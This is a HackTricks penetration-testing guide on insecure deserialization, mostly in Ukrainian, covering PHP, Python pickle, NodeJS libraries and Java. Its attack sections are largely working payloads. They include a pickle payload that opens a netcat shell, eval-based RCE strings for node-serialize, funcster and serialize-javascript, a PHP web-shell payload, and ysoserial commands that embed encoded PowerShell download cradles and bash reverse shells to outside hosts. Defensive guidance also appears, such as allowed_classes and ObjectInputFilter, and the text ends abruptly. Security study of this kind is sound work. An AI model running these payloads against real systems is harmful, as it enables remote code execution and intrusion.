Deserialization
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Основна інформація
Serialization розуміється як метод перетворення об’єкта у формат, який можна зберегти, з метою або зберігання об’єкта, або передачі його в рамках комунікаційного процесу. Ця техніка зазвичай використовується, щоб забезпечити відтворення об’єкта пізніше з збереженням його структури та стану.
Deserialization, навпаки, — це процес, що протидіє serialization. Він полягає в тому, щоб взяти дані, структуровані в певному форматі, і відновити їх назад в об’єкт.
Deserialization може бути небезпечним, оскільки це потенційно дозволяє зловмисникам маніпулювати серіалізованими даними для виконання шкідливого коду або викликати непередбачену поведінку додатка під час процесу відновлення об’єкта.
PHP
В PHP під час процесів serialization та deserialization використовуються специфічні магічні методи:
__sleep: Викликається, коли об’єкт серіалізується. Метод має повертати масив імен всіх властивостей об’єкта, які слід серіалізувати. Зазвичай використовується для фіксації відкладених даних або виконання подібних операцій з очищення.__wakeup: Викликається під час десеріалізації об’єкта. Використовується для відновлення будь-яких з’єднань з базою даних, які могли бути втрачені під час serialization, та для виконання інших задач з повторної ініціалізації.__unserialize: Цей метод викликається замість__wakeup(якщо він існує) під час десеріалізації об’єкта. Він дає більше контролю над процесом deserialization порівняно з__wakeup.__destruct: Цей метод викликається перед знищенням об’єкта або при завершенні скрипту. Зазвичай використовується для задач очищення, наприклад, закриття файлових дескрипторів або з’єднань з базою даних.__toString: Цей метод дозволяє трактувати об’єкт як рядок. Він може використовуватися для читання файлу або інших завдань, що залежать від викликів функцій у ньому, фактично надаючи текстове представлення об’єкта.
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}
$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();
/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />
php > $ser=serialize($o);
__sleep method called
php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}
php > $unser=unserialize($ser);
__wakeup method called
__destruct method called
php > $unser->displaystring();
This is a test<br />
*/
?>
Якщо подивитися на результати, видно, що функції __wakeup та __destruct викликаються при десеріалізації об’єкта. Зверніть увагу, що в кількох підручниках ви знайдете, що функція __toString викликається при спробі вивести якийсь атрибут, але, схоже, це вже не відбувається.
Warning
Метод
__unserialize(array $data)викликається замість__wakeup(), якщо він реалізований у класі. Він дозволяє вам unserialize об’єкт, передаючи серіалізовані дані як масив. Ви можете використовувати цей метод для unserialize властивостей і виконання необхідних дій під час десеріалізації.class MyClass { private $property; public function __unserialize(array $data): void { $this->property = $data['property']; // Perform any necessary tasks upon deserialization. } }
Пояснений приклад на PHP можна прочитати тут: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, тут https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf або тут https://securitycafe.ro/2015/01/05/understanding-php-object-injection/
PHP Deserial + Autoload Classes
Ви можете зловживати функціональністю PHP autoload, щоб завантажувати довільні php-файли та інше:
PHP - Deserialization + Autoload Classes
Serializing Referenced Values
Якщо з якоїсь причини ви хочете serialize значення як посилання на інше серіалізоване значення, ви можете:
<?php
class AClass {
public $param1;
public $param2;
}
$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);
Запобігання PHP Object Injection за допомогою allowed_classes
[!INFO] Підтримка другого аргументу
unserialize()(масив$options) додана в PHP 7.0. У старіших версіях функція приймає лише серіалізований рядок, тому неможливо обмежити, які класи можуть бути інстанційовані.
unserialize() буде інстанціювати кожен клас, який знайде в серіалізованому потоці, якщо не вказано інше. З PHP 7 поведінку можна обмежити за допомогою опції allowed_classes:
// NEVER DO THIS – full object instantiation
$object = unserialize($userControlledData);
// SAFER – disable object instantiation completely
$object = unserialize($userControlledData, [
'allowed_classes' => false // no classes may be created
]);
// Granular – only allow a strict white-list of models
$object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);
Якщо allowed_classes опущено або код виконується на PHP < 7.0, виклик стає небезпечним, оскільки зловмисник може створити payload, який зловживає магічними методами, такими як __wakeup() або __destruct(), щоб здійснити Remote Code Execution (RCE).
Приклад із реального життя: Everest Forms (WordPress) CVE-2025-52709
Плагін WordPress Everest Forms ≤ 3.2.2 намагався підвищити захист за допомогою допоміжної обгортки, але забув про застарілі версії PHP:
function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
// SAFE branch (PHP ≥ 7.1)
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options);
}
// DANGEROUS branch (PHP < 7.1)
return @unserialize(trim($data));
}
return $data;
}
На серверах, що все ще працювали на PHP ≤ 7.0, ця друга гілка призводила до класичної PHP Object Injection, коли адміністратор відкривав шкідливу форму. Мінімальний exploit payload міг виглядати так:
O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
As soon as the admin viewed the entry, the object was instantiated and SomeClass::__destruct() got executed, resulting in arbitrary code execution.
Висновки
- Завжди передавайте
['allowed_classes' => false](або суворий білий список) під час викликуunserialize(). - Проводьте аудит захисних обгорток — вони часто забувають про застарілі гілки PHP.
- Оновлення до PHP ≥ 7.x саме по собі не достатнє: опцію все одно потрібно явно передати.
PHPGGC (ysoserial for PHP)
PHPGGC може допомогти вам згенерувати payloads для зловживання PHP deserializations.
Зауважте, що в ряді випадків ви не зможете знайти спосіб зловживати десеріалізацією в коді програми, але можете змогти зловживати кодом зовнішніх PHP-розширень.
Тому, якщо можете, перевірте phpinfo() на сервері та пошукайте в інтернеті (навіть серед gadgets PHPGGC) можливі gadgets, якими можна зловживати.
phar:// metadata deserialization
If you have found a LFI that is just reading the file and not executing the php code inside of it, for example using functions like file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize(). You can try to abuse a deserialization occurring when reading a file using the phar protocol.
For more information read the following post:
Python
Pickle
When the object gets unpickle, the function ___reduce___ will be executed.
При використанні в атаці сервер може повернути помилку.
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))
Перед перевіркою техніки обходу спробуйте використати print(base64.b64encode(pickle.dumps(P(),2))) щоб згенерувати об’єкт, сумісний з python2, якщо ви запускаєте python3.
For more information about escaping from pickle jails check:
Yaml & jsonpickle
The following page present the technique to abuse an unsafe deserialization in yamls python libraries and finishes with a tool that can be used to generate RCE deserialization payload for Pickle, PyYAML, jsonpickle and ruamel.yaml:
Class Pollution (Python Prototype Pollution)
Class Pollution (Python’s Prototype Pollution)
NodeJS
JS Magic Functions
JS doesn’t have “magic” functions like PHP or Python that are going to be executed just for creating an object. But it has some functions that are frequently used even without directly calling them such as toString, valueOf, toJSON.
Якщо при зловживанні десеріалізацією ви зможете компрометувати ці функції для виконання іншого коду (можливо, зловживаючи prototype pollutions), ви зможете виконати довільний код, коли вони будуть викликані.
Another “magic” way to call a function without calling it directly is by compromising an object that is returned by an async function (promise). Because, if you transform that return object in another promise with a property called “then” of type function, it will be executed just because it’s returned by another promise. Follow this link for more info.
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}
async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}
test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
__proto__ and prototype pollution
Якщо ви хочете дізнатися про цю техніку перегляньте наступний посібник:
NodeJS - proto & prototype Pollution
node-serialize
Ця бібліотека дозволяє серіалізувати функції. Приклад:
var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)
серіалізований об’єкт виглядатиме так:
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
You can see in the example that when a function is serialized the _$$ND_FUNC$$_ flag is appended to the serialized object.
Inside the file node-serialize/lib/serialize.js you can find the same flag and how the code is using it.
.png)
.png)
Як видно в останньому фрагменті коду, якщо прапорець знайдено, eval використовується для десеріалізації функції, тож по суті вхідні дані користувача використовуються всередині функції eval.
Однак, саме лише серіалізація функції не виконає її, оскільки необхідно, щоб якась частина коду викликала y.rce в нашому прикладі, а це вкрай малоймовірно.
Втім, можна просто змінити серіалізований об’єкт, додавши кілька дужок, щоб функція автоматично виконалася під час десеріалізації об’єкта.
У наступному фрагменті коду зверніть увагу на останню дужку і на те, як функція unserialize автоматично виконає код:
var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)
Як було зазначено раніше, ця бібліотека отримає код після_$$ND_FUNC$$_ і виконає його за допомогою eval. Отже, щоб auto-execute code, ви можете delete the function creation частину та останню дужку і just execute a JS oneliner, як у наведеному прикладі:
var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)
You can find here further information about how to exploit this vulnerability.
funcster
Відзначною особливістю funcster є недоступність стандартних вбудованих об’єктів; вони знаходяться поза доступною областю. Це обмеження перешкоджає виконанню коду, який намагається викликати методи вбудованих об’єктів, що призводить до виключень, таких як “ReferenceError: console is not defined” під час використання команд на кшталт console.log() або require(something).
Незважаючи на це обмеження, відновити повний доступ до глобального контексту, включно з усіма стандартними вбудованими об’єктами, можна за допомогою специфічного підходу. Безпосереднє використання глобального контексту дозволяє обійти це обмеження. Наприклад, доступ можна відновити за допомогою наступного фрагмента:
funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }
//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)
For more information read this source.
serialize-javascript
Пакет serialize-javascript призначений виключно для серіалізації і не має вбудованих можливостей десеріалізації. Користувачі відповідають за реалізацію власного методу десеріалізації. В офіційному прикладі для десеріалізації серіалізованих даних пропонується пряме використання eval:
function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}
Якщо ця функція використовується для десеріалізації об’єктів, ви можете легко її експлуатувати:
var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }
//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)
For more information read this source.
Cryo library
У наступних сторінках ви можете знайти інформацію про те, як зловживати цією бібліотекою для виконання довільних команд:
- https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/
- https://hackerone.com/reports/350418
Java - HTTP
У Java, deserialization callbacks are executed during the process of deserialization. Це виконання може бути використане нападниками, які формують шкідливі payloads, що тригерять ці callbacks, і призводять до потенційного виконання шкідливих дій.
Fingerprints
White Box
Щоб виявити потенційні serialization vulnerabilities у codebase, шукайте:
- Класи, які реалізують інтерфейс
Serializable. - Використання
java.io.ObjectInputStream, функційreadObject,readUnshare.
Зверніть особливу увагу на:
XMLDecoder, використаний з параметрами, що визначаються зовнішніми користувачами.- Виклик
XStream’sfromXML, особливо якщо версія XStream менша або рівна 1.46, оскільки вона вразлива до проблем із serialization. ObjectInputStreamу парі з методомreadObject.- Реалізації методів, таких як
readObject,readObjectNodData,readResolveабоreadExternal. ObjectInputStream.readUnshared.- Загальне використання
Serializable.
Black Box
Для black box тестування шукайте специфічні signatures or “Magic Bytes”, які позначають java serialized objects (що походять від ObjectInputStream):
- Hexadecimal pattern:
AC ED 00 05. - Base64 pattern:
rO0. - HTTP response headers with
Content-typeset toapplication/x-java-serialized-object. - Hexadecimal pattern indicating prior compression:
1F 8B 08 00. - Base64 pattern indicating prior compression:
H4sIA. - Веб-файли з розширенням
.facesі параметромfaces.ViewState. Виявлення цих патернів у веб-застосунку має призвести до перевірки, як описано в post about Java JSF ViewState Deserialization.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
Перевірка на вразливість
Якщо ви хочете learn about how does a Java Deserialized exploit work, ознайомтеся з Basic Java Deserialization, Java DNS Deserialization, та CommonsCollection1 Payload.
SignedObject-gated deserialization and pre-auth reachability
У сучасних codebases іноді обгортають deserialization у java.security.SignedObject і перевіряють підпис перед викликом getObject() (який deserializes внутрішній об’єкт). Це запобігає довільним top-level gadget classes, але все ще може бути експлуатовано, якщо атакуючий зможе отримати дійсний підпис (наприклад, compromise приватного ключа або signing oracle). Додатково, error-handling flows можуть mint session-bound tokens для unauthenticated користувачів, відкриваючи в іншому разі захищені sinks pre-auth.
For a concrete case study with requests, IoCs, and hardening guidance, see:
Java Signedobject Gated Deserialization
White Box Test
Ви можете перевірити, чи встановлено будь-який додаток із відомими вразливостями.
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
Ви можете спробувати перевірити всі бібліотеки, відомі як вразливі, і для яких Ysoserial can provide an exploit for. Або ви можете перевірити бібліотеки, вказані в Java-Deserialization-Cheat-Sheet.
Також можна використати gadgetinspector для пошуку можливих gadget chains, які можна експлуатувати.
При запуску gadgetinspector (після збірки) не звертайте уваги на велику кількість попереджень/помилок — дайте йому завершити роботу. Він запише всі знахідки у gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Будь ласка, зверніть увагу, що gadgetinspector won’t create an exploit and it may indicate false positives.
Black Box Test
Використовуючи розширення Burp gadgetprobe ви можете ідентифікувати які бібліотеки доступні (і навіть їх версії). З цією інформацією може бути легше вибрати payload для експлуатації вразливості.
Read this to learn more about GadgetProbe.
GadgetProbe орієнтований на ObjectInputStream десеріалізації.
Використовуючи розширення Burp Java Deserialization Scanner ви можете виявити вразливі бібліотеки, які exploitable з ysoserial і exploit їх.
Read this to learn more about Java Deserialization Scanner.
Java Deserialization Scanner зосереджений на ObjectInputStream десеріалізаціях.
Ви також можете використати Freddy для виявлення десеріалізаційних вразливостей у Burp. Цей плагін виявлятиме не лише вразливості, пов’язані з ObjectInputStream, але також вразливості з бібліотек десеріалізації Json та Yml. В активному режимі він спробує підтвердити їх, використовуючи sleep або DNS payloads.
You can find more information about Freddy here.
Serialization Test
Не завжди все зводиться до перевірки, чи використовує сервер якусь вразливу бібліотеку. Іноді ви можете змінити дані всередині serialized object і обійти деякі перевірки (можливо отримати admin privileges у webapp).
Якщо ви знайдете java serialized object, який надсилається веб‑додатком, ви можете використати SerializationDumper щоб вивести у більш читабельному для людини форматі serialization object, який надсилається. Знаючи, які дані ви відправляєте, легше їх змінити й обійти певні перевірки.
Exploit
ysoserial
Головний інструмент для експлуатації Java deserializations — ysoserial (download here). Також варто розглянути ysoseral-modified, який дозволяє використовувати складні команди (наприклад з pipes).
Зауважте, що цей інструмент focused на експлуатації ObjectInputStream.
Я б почав із використання “URLDNS” payload перед RCE payload, щоб перевірити, чи можлива інʼєкція. Утім, зауважте, що “URLDNS” payload може не працювати, але інший RCE payload — так.
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
# Base64 encode payload in base64
base64 -w0 payload
При створенні payload для java.lang.Runtime.exec() ви не можете використовувати спеціальні символи, такі як “>” або “|” для перенаправлення виводу виконання, “$()” для виконання команд або навіть передавати аргументи до команди, розділені пробілами (ви можете зробити echo -n "hello world" але ви не можете зробити python2 -c 'print "Hello world"'). Щоб правильно закодувати payload ви можете use this webpage.
Не соромтеся використовувати наступний скрипт, щоб створити all the possible code execution payloads для Windows і Linux, а потім протестувати їх на вразливій веб-сторінці:
import os
import base64
# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
serialkillerbypassgadgets
Ви можете використовувати https://github.com/pwntester/SerialKillerBypassGadgetCollection разом із ysoserial для створення додаткових exploits. Більше інформації про цей інструмент у слайдах доповіді, на якій інструмент було представлено: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1
marshalsec
marshalsec може використовуватися для генерації payloads для exploit різних Json та Yml бібліотек серіалізації в Java.\ У зв’язку з тим, щоб скомпілювати проект, мені потрібно було додати ці dependencies до pom.xml:
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>
<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>
Встановіть maven, і скомпілюйте проект:
sudo apt-get install maven
mvn clean package -DskipTests
FastJSON
Дізнайтеся більше про цю Java JSON-бібліотеку: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html
Лаби
- Якщо ви хочете протестувати деякі ysoserial payloads, ви можете запустити цей webapp: https://github.com/hvqzao/java-deserialize-webapp
- https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/
Навіщо
Java широко використовує серіалізацію для різних цілей, таких як:
- HTTP requests: Серіалізація широко застосовується в управлінні параметрами, ViewState, cookies тощо.
- RMI (Remote Method Invocation): Протокол Java RMI, який повністю спирається на серіалізацію, є наріжним каменем для віддаленої комунікації в Java-додатках.
- RMI over HTTP: Цей метод часто використовується Java-based thick client web applications, використовуючи серіалізацію для всіх обмінів об’єктами.
- JMX (Java Management Extensions): JMX використовує серіалізацію для передачі об’єктів по мережі.
- Custom Protocols: У Java звичайною практикою є передавання raw Java objects, що буде продемонстровано в наступних прикладах експлойтів.
Запобігання
Transient objects
A class that implements Serializable can implement as transient any object inside the class that shouldn’t be serializable. For example:
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient
Уникнення серіалізації класу, який повинен реалізовувати Serializable
У випадках, коли певні об’єкти мають реалізовувати інтерфейс Serializable через ієрархію класів, існує ризик ненавмисної десеріалізації. Щоб цього уникнути, переконайтеся, що ці об’єкти не можуть бути десеріалізовані — для цього визначте final метод readObject(), який завжди викидає виняток, як показано нижче:
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}
Підвищення безпеки deserialization в Java
Customizing java.io.ObjectInputStream є практичним підходом для забезпечення безпеки процесів deserialization. Цей метод підходить, коли:
- Код, що виконує deserialization, знаходиться під вашим контролем.
- Класи, які очікуються для deserialization, відомі.
Перевизначте метод resolveClass(), щоб обмежити deserialization лише дозволеними класами. Це запобігає deserialization будь-якого класу, окрім явно дозволених, як у наведеному нижче прикладі, який обмежує deserialization лише класом Bicycle:
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}
Використання Java Agent для підвищення безпеки пропонує запасне рішення, коли модифікація коду неможлива. Цей метод застосовується переважно для blacklisting harmful classes, за допомогою JVM parameter:
-javaagent:name-of-agent.jar
Надає спосіб динамічно забезпечити безпеку десеріалізації, що ідеально підходить для середовищ, де негайні зміни коду непрактичні.
Перегляньте приклад у rO0 by Contrast Security
Реалізація фільтрів серіалізації: У Java 9 введено фільтри серіалізації через інтерфейс ObjectInputFilter, який надає потужний механізм для вказання критеріїв, яким повинні відповідати серіалізовані об’єкти перед десеріалізацією. Ці фільтри можна застосувати глобально або для окремого потоку, що забезпечує детальний контроль над процесом десеріалізації.
Щоб використовувати фільтри серіалізації, ви можете встановити глобальний фільтр, який застосовується до всіх операцій десеріалізації, або налаштувати його динамічно для конкретних потоків. Наприклад:
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);
Використання зовнішніх бібліотек для підвищення безпеки: Бібліотеки, такі як NotSoSerial, jdeserialize та Kryo, пропонують розширені можливості для контролю та моніторингу Java deserialization. Ці бібліотеки можуть додати додаткові рівні захисту, наприклад whitelisting або blacklisting classes, аналіз serialized objects перед deserialization та впровадження кастомних serialization стратегій.
- NotSoSerial перехоплює процеси deserialization, щоб запобігти виконанню не довіреного коду.
- jdeserialize дозволяє аналізувати serialized Java objects без їх deserializing, допомагаючи ідентифікувати потенційно шкідливий вміст.
- Kryo — альтернативний serialization framework, що робить акцент на швидкості та ефективності, пропонуючи конфігуровані serialization стратегії, які можуть підвищити безпеку.
References
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
- Deserialization and ysoserial доповідь: http://frohoff.github.io/appseccali-marshalling-pickles/
- https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
- https://www.youtube.com/watch?v=VviY3O-euVQ
- Talk about gadgetinspector: https://www.youtube.com/watch?v=wPbW6zQ52w8 and slides: https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf
- Marshalsec paper: https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true
- https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr
- https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
- https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html
- Java and .Net JSON deserialization paper: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, talk: https://www.youtube.com/watch?v=oUAeWhW5b8c and slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- Deserialziations CVEs: https://paper.seebug.org/123/
JNDI Injection & log4Shell
Дізнайтесь, що таке JNDI Injection, як його зловживати через RMI, CORBA & LDAP та як експлуатувати log4shell (а також приклад цієї уразливості) на наступній сторінці:
JNDI - Java Naming and Directory Interface & Log4Shell
JMS - Java Message Service
The Java Message Service (JMS) API is a Java message-oriented middleware API for sending messages between two or more clients. It is an implementation to handle the producer–consumer problem. JMS is a part of the Java Platform, Enterprise Edition (Java EE), and was defined by a specification developed at Sun Microsystems, but which has since been guided by the Java Community Process. It is a messaging standard that allows application components based on Java EE to create, send, receive, and read messages. It allows the communication between different components of a distributed application to be loosely coupled, reliable, and asynchronous. (From Wikipedia).
Products
There are several products using this middleware to send messages:
.png)
.png)
Exploitation
